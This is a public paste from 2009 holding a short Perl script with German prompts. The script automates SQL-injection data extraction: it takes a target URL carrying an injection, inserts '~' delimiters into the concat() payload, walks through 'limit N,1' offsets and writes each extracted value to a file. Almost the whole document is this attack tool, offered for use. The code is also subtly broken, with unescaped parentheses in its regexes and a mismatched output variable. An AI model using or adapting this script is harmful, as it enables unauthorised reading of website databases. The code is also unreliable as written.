Public paste
Undefined
By: Guest | Date: Apr 24 2009 12:46 | Format: None | Expires: never | Size: 791 B | Hits: 510

  1. use LWP::Simple;
  2.  
  3. my $counter = 0;
  4. my $limit = 10;
  5. my $website = "";
  6.  
  7. print "Wieviele tables ausgeben? : ";
  8. my $limit = <STDIN>;
  9. print "Bitte Website mit injection eingeben (Systax siehe readme.html) ? : ";
  10. my $website = <STDIN>;
  11.  
  12.                 $website =~ s/concat(/concat(0x7E,/;
  13.                 $website =~ s/)/,0x7E)/;
  14.                
  15. open FILE, ">> output.txt" or die $!;
  16.  
  17. while( $counter <= $limit ) {
  18.         if( $counter == 0) {
  19.                 $website =~ s/limit+0,1/limit+$counter,1/;
  20.         }
  21.         else {
  22.                 my $tausch = $counter-1;
  23.                 $website =~ s/limit+$tausch,1/limit+$counter,1/;
  24.         }
  25.         my $stWebsite = get($website);
  26.     my @data = split(/~/, $stWebsite);
  27.     my $ausgabe = @data[1];
  28.     undef @data;
  29.     print "$counter => $ausgaben";
  30.         print FILE "$counter => $ausgaben";
  31.         $counter++;
  32. }
  33.  
  34. system("pause");
Latest pastes
7 hours ago
6 days ago
18 days ago
23 days ago
25 days ago